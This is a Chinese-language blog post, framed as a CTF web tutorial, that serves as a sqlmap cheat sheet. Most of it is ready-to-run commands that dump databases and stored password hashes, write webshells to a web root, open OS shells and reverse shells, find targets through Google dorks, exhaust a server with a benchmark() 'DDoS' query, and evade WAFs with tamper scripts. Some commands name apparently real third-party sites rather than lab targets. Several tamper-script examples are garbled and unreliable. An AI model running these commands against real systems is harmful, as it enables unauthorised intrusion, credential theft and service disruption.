1. 程式人生 > >CTF-web 第十二部分 sqlmap專題

CTF-web 第十二部分 sqlmap專題

  sqlmap開源又功能強大的工具,支援現在幾乎所有的資料庫,比國內的任何工具都強。支援get,post ,cookie注入。可以新增cookie和user-agent 支援盲注,錯誤回顯注入,還有其他多種注入方法。 支援代理, 優化演算法,更高效, 指紋識別技術判斷資料庫。

 

當給sqlmap這麼一個url (http://192.168.136.131/sqlmap/mysql/get_int.php?id=1) 的時候,它會:

1、判斷可注入的引數

2、判斷可以用那種SQL注入技術來注入

3、識別出哪種資料庫

4、根據使用者選擇,讀取哪些資料

 

sqlmap支援五種不同的注入模式:

1、基於布林的盲注,即可以根據返回頁面判斷條件真假的注入。

2、基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。

3、基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。

4、聯合查詢注入,可以使用union的情況下的注入。

5、堆查詢注入,可以同時執行多條語句的執行時的注入。

 

sqlmap支援的資料庫有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

 

        不得不說,在很多的注入裡面我們都可以使用sqlmap,這是一個名副其實的神器,隨著學習的過程我發現它有太多的功能了,但是網上的卻又是紛繁雜亂,所以決定在這裡對sqlmap的一些功能進行及時的更新,方便以後的使用,下面就開始總結:

(1)安裝及使用

        上github上下載就行,我們要知道sqlmap是python2版本的,所以需要下載好python2,進入檔案根目錄之後,按住shift右鍵開啟命令列工具,就可以開始使用了。

        一般搞我們這行的都有兩個版本的py,使用的時候需要在命令列前打上 py -2 

 

(2)一般使用

如果你想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取資料的,可以使用-v引數。

共有七個等級,預設為1:

0、只顯示python錯誤以及嚴重的資訊。 

1、同時顯示基本資訊和警告資訊。(預設) 

2、同時顯示debug資訊。

3、同時顯示注入的payload。 

4、同時顯示HTTP請求。 

5、同時顯示HTTP響應頭。

6、同時顯示HTTP響應頁面。

如果你想看到sqlmap傳送的測試payload最好的等級就是3。

 

    -m  從文字中獲取多個目標掃描

// 檔案中儲存url格式如下,sqlmap會一個一個檢測
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

-u指定路徑,-v:顯示詳細的資訊,有0-6級,預設為1 

            cookie注入至少2級   --level=LEVEL也可以

            檢查User-agent和Referer需要>=3

 

py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1

      -p 指定注入的目標引數,不選擇的話它會嘗試所有的引數

py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id"

       --method --data指定方法和post的資料  會測試提交的資料

py -2 sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"

      --cookie 指定cookie,可以注入一些需要cookie的地址 

py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" --level=2

      --proxy 指定代理注入

py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 

    -r  "path" 從檔案中載入HTTP請求

    sqlmap可以從一個文字檔案中獲取HTTP請求,這樣就可以跳過設定一些其他引數(比如cookie,POST資料,等等)。

# 比如文字檔案內如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1
# 當請求是HTTPS的時候你需要配合這個--force-ssl引數來使用,或者你可以在Host頭後門加上:443
py -2 sqlmap.py -r search-test.txt -p tfUPass,
# 這裡引數 -r 是讓sqlmap載入我們的post請求rsearch-test.txt,而-p 大家應該比較熟悉,指定注入用的引數。

 --data  此引數是用來指定注入資料的,GET/POST都適用,在GET方法中將URL後面的引數部分提取出來就好,在POST方法中需要自己用Burpsuite或者F12檢視URL和引數的值即可,當然也可以自動獲取等。

py -2 sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

    --cookie,--load-cookies,--drop-set-cookie

這個引數在以下兩個方面很有用:

    1、web應用需要登陸的時候。

    2、你想要在這些頭引數中測試SQL注入時。

可以通過抓包把cookie獲取到,複製出來,然後加到--cookie引數裡。

        在HTTP請求中,遇到Set-Cookie的話,sqlmap會自動獲取並且在以後的請求中加入,並且會嘗試SQL注入。

        如果你不想接受Set-Cookie可以使用--drop-set-cookie引數來拒接。

        當你使用--cookie引數時,當返回一個Set-Cookie頭的時候,sqlmap會詢問你用哪個cookie來繼續接下來的請求。當--level的引數設定為2或者2以上的時候,sqlmap會嘗試注入Cookie引數。

--dump 用來顯示資料庫欄位內容

  –dump -T "" -D "" -C "" #列出指定資料庫的表的欄位的資料(–dump -T users -D master -C surname)
  –dump -T "" -D "" –start 2 –top 4 # 列出指定資料庫的表的2-4欄位的資料

    --tamper引數是sqlmap的繞過指令碼

# 我們可以在最後指定一下繞過的指令碼,不止一個 有好幾個可以自己選擇
--tamper "space2morehash.py" 可以使用,分割多個指令碼

    --force-ssl HTTPS掃描HTTPS網站時需要新增的引數

py -2 sqlmap -u "https://10.10.10.137/a.php?id=1:8843" --force-ssl

一般猜解流程,以cookies和post data為例,這應該是最麻煩的

sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "pid=hgdh6527" --level 2
sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"

//得到了注入點之後執行以下命令
–-users #列資料庫所有使用者
–-passwords #資料庫使用者所有密碼

--dbs    # 獲取資料庫
-D 庫名 --tables   # 獲取表
-D 庫名 -T 表名 --columns    # 獲取列
--dump -D 庫名 -T 表名 -C 列名   # 獲取欄位值

//也可以繼續獲取 shell
--os-shell  # 然後選擇頁面的語言 給出一個絕對地址 就可以使用命令了  例如 ipconfig
--file-write /root/test.php --file-dest /var/www/html/1.php  # 本地檔案寫入伺服器 不死馬之類的

3)注入的簡單流程

get注入

        get注入需要的是我們提供目標網址,當然必須是有肉眼可識別的注入引數。

   假設目標是 http://www.baidu.com/news.php?id=1&data=2

        cookies注入 --level=2    refer use-agent --level=2

        postdata注入需要--method "POST" --data "id=1&cat=2"

爆出對方的資料庫 

py -2 sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --dbs
// 假設結果顯示庫有3個: test1 、test2  、test3

爆出資料庫下的表

sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 --tables
//假設有表3個:admin,user,news

爆出表下的欄位

// 獲取admin表的columns
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin --columns
//假設有欄位3個:id,username,password

獲取id,username,password欄位的內容

sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin -C "id,usrename,password"

一切順利的話 這算是完成了一次注入。可以繼續寫木馬

sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --file-write /root/test.php --file-dest /var/www/html/1.php

還可以獲取互動式shell,跟上邊的原理一樣的

sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --os-shell

 

關於post和cookie需要特殊對待一下

post注入的關鍵是獲取網頁的表單和指定注入的引數

第一種方式, 就是讓sqlmap去自動獲取表單:

sqlmap -u "http://www.xxxxxxxx.gov.cn/bxcxnew1.aspx" --forms

我們就會得到網頁中提交的內容,並且讓你填寫資料的具體,後來想起來注入的話,是什麼都無所謂了

或者是我們自己手動賦值

sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -data="username=admin&password=123" --dbs

第二種, 爪好POST包後存在一個檔案中, 再用 -r 引數讀取, 這種方式的好處是不易出錯, 當一個頁面有多個表單時, 能正確指引。

將Bp中的資訊儲存,預設放在sqlmap根目錄下, 再用 -r 讀取就行了。我這命名為search-test.txt 然後把它放至sqlmap目錄下,假設引數為username。password

py -2 ./sqlmap.py -r search-test.txt -p username

各種注入簡單例項
 

# 這裡關於sqlmap呼叫方法就不注意細節了
# access注入
sqlmap.py -u "url"       ==檢測。
sqlmap.py -u "url" --tables     ==猜表。
sqlmap.py -u "url" --columns -T "表名"       ==猜欄位
sqlmap.py -u "url" --dump -T "表名" -C "欄位,欄位"      ==暴表裡面的欄位的內容


# Mysql資料注入
sqlmap.py -u url  --privileg  ==檢視許可權(root什麼什麼的)
sqlmap.py -u url --is-dba 判斷是不是root許可權
sqlmap.py -u url --dbs   ==獲取資料庫
sqlmap.py -u url --tables -D "資料庫名"     ==獲取當中的資料庫的表
sqlmap.py -u url --columns -D "資料庫名" -T "表名"   ==獲取資料庫 表中的欄位
sqlmap.py -u url --dump -D "資料庫名" -T "表名" -C "欄位,欄位"  ==獲取資料庫表的欄位裡的內容


# Cookie注入
注入點:http://www.ntjx.org/jsj/DownloadShow.asp?id=9
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dbs --level 2    ==暴表名

sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" -D "庫名" -T "表名" --columns --level 2  #暴表的欄位

sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dump -T "表名" -C "欄位,欄位" --level 2 #暴表的欄位內容

# post登陸注入 mssql

sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345"

sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs  #獲取資料庫名

sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "資料庫名"   #列表

sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "資料庫名"  #暴欄位

sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "欄位,欄位" -T "表" -D "資料名"  #暴欄位內容


# 直接拿shell或者執行命令(需要許可權很大跟物理路徑)

sqlmap.py -u url --os-shell
sqlmap.py -u url --os-cmd=ipconfig

# 偽靜態注入
注入點:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html   (注意:要加個* 哪裡存在注入就加上 * 號)
    
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dbs   #獲取資料庫名

sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --tables -D "資料名"    #獲取資料庫當中的表

sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --columns -D "資料名" -T "表名"  #獲取資料庫的表中的欄位

sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dump -D "資料名" -T "表名" -C "欄位,欄位" #獲取資料庫的表中的欄位內容


# 請求延時(一般突破防火牆)

第一種方法:sqlmap.py -u url --delay 2   (注意:2是兩秒的意思,也就是說2秒訪問一次)
第二種方法: sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思。。)
可以組合使用 sqlmap.py -u url --delay 2 --safe-freq 3

(4)常用大全

下面是 羽翼SQLMAP系列課程筆記
#######################################################################3
常用語句
sqlmap -u http://www.target.com/id=2
--dbs
--tables -D whatA
--columns -D databaseA -T tableA
--dump -D databaseA -T tableA -C "username,password"
=================================================================================
cookie注入
注入點:http://www.ntjx.org/jsj/DownloadShow.asp?id=9
語句sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2
=================================================================================
post注入
注入點:http://testasp.vulnweb.com/Login.asp
配合Burpsuite:./sqlmap.py -r search-test.txt -p tfUPass
---------------------------------------------------------------------------------------------
自動獲取
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
指定引數
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
=================================================================================
互動式寫shell 需要指定根目錄
---------------------------------------------------------------------------------------------
sqlmap -u http://www.target.com/id=2 --os-cmd=ipconfig
執行ipconfig
sqlmap -u http://www.target.com/id=2 --os-shell
獲得一個shell即時執行命令,會生成檔案 tmpbxbxz.php 和 tmppuoiuz.php
---------------------------------------------------------------------------------------------
偽靜態注入點:http://www.target.com/ndex.php/Index/view/id/40.html
sqlmap -u http://www.target.com/ndex.php/Index/view/id/40*.html --dbs //注意*位置,在有注入的地方,後面你懂的
=================================================================================
請求延時
注入點:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html
引數 --delay --safe-freq
sqlmap --dbs -u http://www.target.com/ndex.php/Index/view/id/40*.html --delay 0.5 //延時0.5秒
sqlmap --dbs -u http://www.target.com/ndex.php/Index/view/id/40*.html --safe-freq //請求2次
=================================================================================
google關鍵字找注入點
sqlmap -g inurl:php?id=1
=================================================================================
sqlmapDDoS攻擊
sqlmap -u http://www.target.com/id=2 --sql-shell
獲得一個即時shell,執行
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
=================================================================================
sqlmap繞過WAF防火牆
注入點:http://www.target.com/id=2
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"
tamper資料夾下自行發揮
=================================================================================
sqlmap檢視 許可權及可執行函式
sqlmap -u http://www.target.com/id=2 --privileges
#####################################################################################

最後再來一個小小的引數總結吧
-u #注入點
-f #指紋判別資料庫型別
-b #獲取資料庫版本資訊
-p #指定可測試的引數(?page=1&id=2 -p “page,id”)
-D “” #指定資料庫名
-T “” #指定表名
-C “” #指定欄位
-s “” #儲存注入過程到一個檔案,還可中斷,下次恢復在注入(儲存:-s “xx.log” 恢復:-s “xx.log” –resume)
–columns #列出欄位
–current-user #獲取當前使用者名稱稱
–current-db #獲取當前資料庫名稱
–users #列資料庫所有使用者
–passwords #資料庫使用者所有密碼
–privileges #檢視使用者許可權(–privileges -U root)
-U #指定資料庫使用者
–dbs #列出所有資料庫
–tables -D “” #列出指定資料庫中的表
–columns -T “user” -D “mysql” #列出mysql資料庫中的user表的所有欄位
–dump-all #列出所有資料庫所有表
–exclude-sysdbs #只列出使用者自己新建的資料庫和表
–dump -T “資料庫” -D “表” -C “欄位” #列出指定資料庫的表的欄位的資料(–dump -T users -D master -C     surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定資料庫的表的2-4欄位的資料
–dbms #指定資料庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft                     Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系統(Linux,Windows)
-v #詳細的等級(0-6)
0:只顯示Python的回溯,錯誤和關鍵訊息。
1:顯示資訊和警告訊息。
2:顯示除錯訊息。
3:有效載荷注入。
4:顯示HTTP請求。
5:顯示HTTP響應頭。
6:顯示HTTP響應頁面的內容
–privileges #檢視許可權
–is-dba #是否是資料庫管理員
–roles #列舉資料庫使用者角色
–udf-inject #匯入使用者自定義函式(獲取系統許可權)
–union-check #是否支援union 注入
–union-cols #union 查詢表記錄
–union-test #union 語句測試
–union-use #採用union 注入
–union-tech orderby #union配合order by
–method “POST” –data “” #POST方式提交資料(–method “POST” –data “page=1&id=2″)
–cookie “用;號分開” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺騙(–referer “http://www.baidu.com”)
–user-agent “” #自定義user-agent
–proxy “http://127.0.0.1:8118″ #代理注入
–string “” #指定關鍵詞
–threads #採用多執行緒(–threads 3)
–sql-shell #執行指定sql命令
–sql-query #執行指定的sql語句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’     LIMIT 0, 1″ )
–file-read #讀取指定檔案
–file-write #寫入本地檔案(–file-write /test/test.txt –file-dest /var/www/html/1.txt;將本地的test.txt檔案寫入到目    標的1.txt)
–file-dest #要寫入的檔案絕對路徑
–os-cmd=id #執行系統命令
–os-shell #系統互動shell
–os-pwn #反彈shell(–os-pwn –msf-path=/opt/framework/msf3/)
–msf-path= #matesploit絕對路徑(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #讀取win系統登錄檔
–priv-esc #
–time-sec= #延遲設定 預設–time-sec=5 為5秒
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注

附錄 自帶繞過指令碼型別

# sqlmap自帶的繞過指令碼
    apostrophemask.py UTF-8編碼
    Example:
    * Input: AND '1'='1'
    * Output: AND '1'='1'
    apostrophenullencode.py unicode編碼
    Example:
    * Input: AND '1'='1'
    * Output: AND '1'='1'
    appendnullbyte.py 新增
    Example:
    * Input: AND 1=1
    * Output: AND 1=1
    Requirement:
    * Microsoft Access
    base64encode.py base64編碼
    Example:
    * Input: 1' AND SLEEP(5)#
    * Output: MScgQU5EIFNMRUVQKDUpIw==
    between.py 以“not between”替換“>”
    Example:
    * Input: 'A > B'
    * Output: 'A NOT BETWEEN 0 AND B'
    bluecoat.py 以隨機的空白字元替代空格,以“like”替代“=”
    Example:
    * Input: SELECT id FROM users where id = 1
    * Output: SELECT id FROM users where id LIKE 1
    Requirement:
    * MySQL 5.1, SGOS
    chardoubleencode.py 雙重url編碼
    Example:
    * Input: SELECT FIELD FROM TABLE
    * Output: SELECT FIELD FROM TABLE
    charencode.py url編碼
    Example:
    * Input: SELECT FIELD FROM TABLE
    * Output: SELECT FIELD FROM TABLE
    charunicodeencode.py 對未進行url編碼的字元進行unicode編碼
    Example:
    * Input: SELECT FIELD FROM TABLE
    * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
    Requirement:
    * ASP
    * ASP.NET
    equaltolike.py 以“like”替代“=”
    Example:
    * Input: SELECT * FROM users WHERE id=1
    * Output: SELECT * FROM users WHERE id LIKE 1
    halfversionedmorekeywords.py在每個關鍵字前新增條件註釋
    Example:
    * Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
    * Output: value'--
    Requirement:
    * MySQL
    modsecurityzeroversioned.py 條件註釋,0000
    Example:
    * Input: 1 AND 2>1--
    * Output: 1 --
    Requirement:
    * MySQL
    multiplespaces.py 新增多個空格
    Example:
    * Input: UNION SELECT
    * Output: UNION SELECT
    nonrecursivereplacement.py 可以繞過對關鍵字刪除的防注入(這個我也不知道怎麼說好,看例子。。。)
    Example:
    * Input: 1 UNION SELECT 2--
    * Output: 1 UNUNIONION SELSELECTECT 2--
    percentage.py 在每個字元前新增百分號(%)
    Example:
    * Input: SELECT FIELD FROM TABLE
    * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
    Requirement:
    * ASP
    randomcase.py 隨即大小寫
    Example:
    * Input: INSERT
    * Output: InsERt
    randomcomments.py 隨機插入區塊註釋
    Example:
    'INSERT' becomes 'INSERT'
    securesphere.py 語句結尾新增“真”字串
    Example:
    * Input: AND 1=1
    * Output: AND 1=1 and '0having'='0having'
    sp_password.py 語句結尾新增“sp_password”迷惑資料庫日誌(很。。。)
    Example: www.2cto.com
    * Input: 1 AND 9227=9227--
    * Output: 1 AND 9227=9227--sp_password
    Requirement:
    * MSSQL
    space2comment.py 以區塊註釋替換空格
    Example:
    * Input: SELECT id FROM users
    * Output: SELECTidFROMusers
    space2dash.py 以單行註釋“--”和隨機的新行替換空格
    Example:
    * Input: 1 AND 9227=9227
    * Output: 1--PTTmJopxdWJ AND--cWfcVRPV 9227=9227
    Requirement:
    * MSSQL
    * SQLite
    space2hash.py 以單行註釋“#”和由隨機字元組成的新行替換空格
    Example:
    * Input: 1 AND 9227=9227
    * Output: 1#PTTmJopxdWJ AND#cWfcVRPV 9227=9227
    Requirement:
    * MySQL
    space2morehash.py 沒看出來和上面那個有什麼區別。。
    Requirement:
    * MySQL >= 5.1.13
    space2mssqlblank.py 以隨機空白字元替換空格
    Example:
    * Input: SELECT id FROM users
    * Output: SELECTidFROMusers
    Requirement:
    * Microsoft SQL Server
    space2mssqlhash.py 以單行註釋“#”和新行替換空格
    Example:
    * Input: 1 AND 9227=9227
    * Output: 1# 9227=9227
    Requirement:
    * MSSQL
    * MySQL
    space2mysqlblank.py 以隨機空白字元替換空格
    Example:
    * Input: SELECT id FROM users
    * Output: SELECTidFROM�users
    Requirement:
    * MySQL
    space2mysqldash.py 以單行註釋和新行替換空格
    Example:
    * Input: 1 AND 9227=9227
    * Output: 1-- AND-- 9227=9227
    Requirement:
    * MySQL
    * MSSQL
    space2plus.py 以“+”替換空格
    Example:
    * Input: SELECT id FROM users
    * Output: SELECT+id+FROM+users
    space2randomblank.py 隨機空白字元替換空格
    Example:
    * Input: SELECT id FROM users
    * Output: SELECT\rid\tFROM\nusers
    unionalltounion.py 以“union all”替換“union”
    Example:
    * Input: -1 UNION ALL SELECT
    * Output: -1 UNION SELECT
    unmagicquotes.py 以“�'”替換單引號,並在結尾添加註釋“--”
    Example:
    * Input: 1' AND 1=1
    * Output: 1�' AND 1=1--
    versionedkeywords.py 對不是函式的關鍵字條件註釋
    Example:
    * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
    * Output: 1,,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()),CHAR(32)),CHAR(58,100,114,117,58))#
    Requirement:
    * MySQL
    versionedmorekeywords.py 對關鍵字條件註釋
    Example:
    * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
    * Output: 1,,((58,122,114,115,58),(CAST(()),(32)),(58,115,114,121,58))#
    Requirement:
    * MySQL >= 5.1.13

來源: https://blog.csdn.net/whatday/article/details/54774043

支援的資料庫 編號 指令碼名稱 作用 實現方式
all 1 apostrophemask.py 用utf8代替引號 ("1 AND '1'='1") 
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 
2 base64encode.py  用base64編碼替換 ("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
3 multiplespaces.py 圍繞SQL關鍵字新增多個空格 ('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'
4 space2plus.py 用+替換空格 ('SELECT id FROM users')
'SELECT+id+FROM+users'
5 nonrecursivereplacement.py 雙重查詢語句。取代predefined SQL關鍵字with表示 
suitable for替代(例如  .replace(“SELECT”、”")) filters
('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
6 space2randomblank.py 代替空格字元(“”)從一個隨機的空
白字元可選字元的有效集
('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
7 unionalltounion.py 替換UNION ALL SELECT UNION SELECT ('-1 UNION ALL SELECT')
'-1 UNION SELECT'
8 securesphere.py 追加特製的字串 ('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
mssql 1 space2hash.py 繞過過濾‘=’ 替換空格字元(”),(’ – ‘)後跟一個破折號註釋,一個隨機字串和一個新行(’ n’)
'1 AND 9227=9227' 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 
2 equaltolike.py like 代替等號
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
3 space2mssqlblank.py(mssql) 空格替換為其它空符號 Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers
4 space2mssqlhash.py 替換空格 ('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
5 between.py 用between替換大於號(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
6 percentage.py asp允許每個字元前面新增一個%號 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
7 sp_password.py 追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾 ('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
8 charencode.py url編碼 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
9 randomcase.py 隨機大小寫 * Input: INSERT
* Output: InsERt
10 charunicodeencode.py 字串 unicode 編碼 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
11 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
mysql >= 5.1.13 1 equaltolike.py like 代替等號
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
2 greatest.py 繞過過濾’>’ ,用GREATEST替換大於號。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
3 apostrophenullencode.py 繞過過濾雙引號,替換字元和雙引號。 tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
4 ifnull2ifisnull.py 繞過對 IFNULL 過濾。
替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
5 space2mssqlhash.py 替換空格 ('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
6 modsecurityversioned.py 過濾空格,包含完整的查詢版本註釋 ('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
7 space2mysqlblank.py 空格替換其它空白符號(mysql) Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users
8 between.py 用between替換大於號(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
9 modsecurityzeroversioned.py 包含了完整的查詢與零版本註釋 ('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
10 space2mysqldash.py 替換空格字元(”)(’ – ‘)後跟一個破折號註釋一個新行(’ n’) ('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
11 bluecoat.py 代替空格字元後與一個有效的隨機空白字元的SQL語句。
然後替換=為like
('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
12 percentage.py asp允許每個字元前面新增一個%號 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
13 charencode.py url編碼 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
14 randomcase.py 隨機大小寫 * Input: INSERT
* Output: InsERt
15 versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
16 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
17 charunicodeencode.py 字串 unicode 編碼 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
18 versionedmorekeywords.py 註釋繞過 * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
MySQL < 5.1 19 halfversionedmorekeywords.py 關鍵字前加註釋 * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
20 halfversionedmorekeywords.py 當資料庫為mysql時繞過防火牆,每個關鍵字之前新增
mysql版本評論
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
MySQL >= 5.1.13 21 space2morehash.py 空格替換為 #號 以及更多隨機字串 換行符 * Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
 Oracle 1 greatest.py 繞過過濾’>’ ,用GREATEST替換大於號。 ('1 AND A > B')
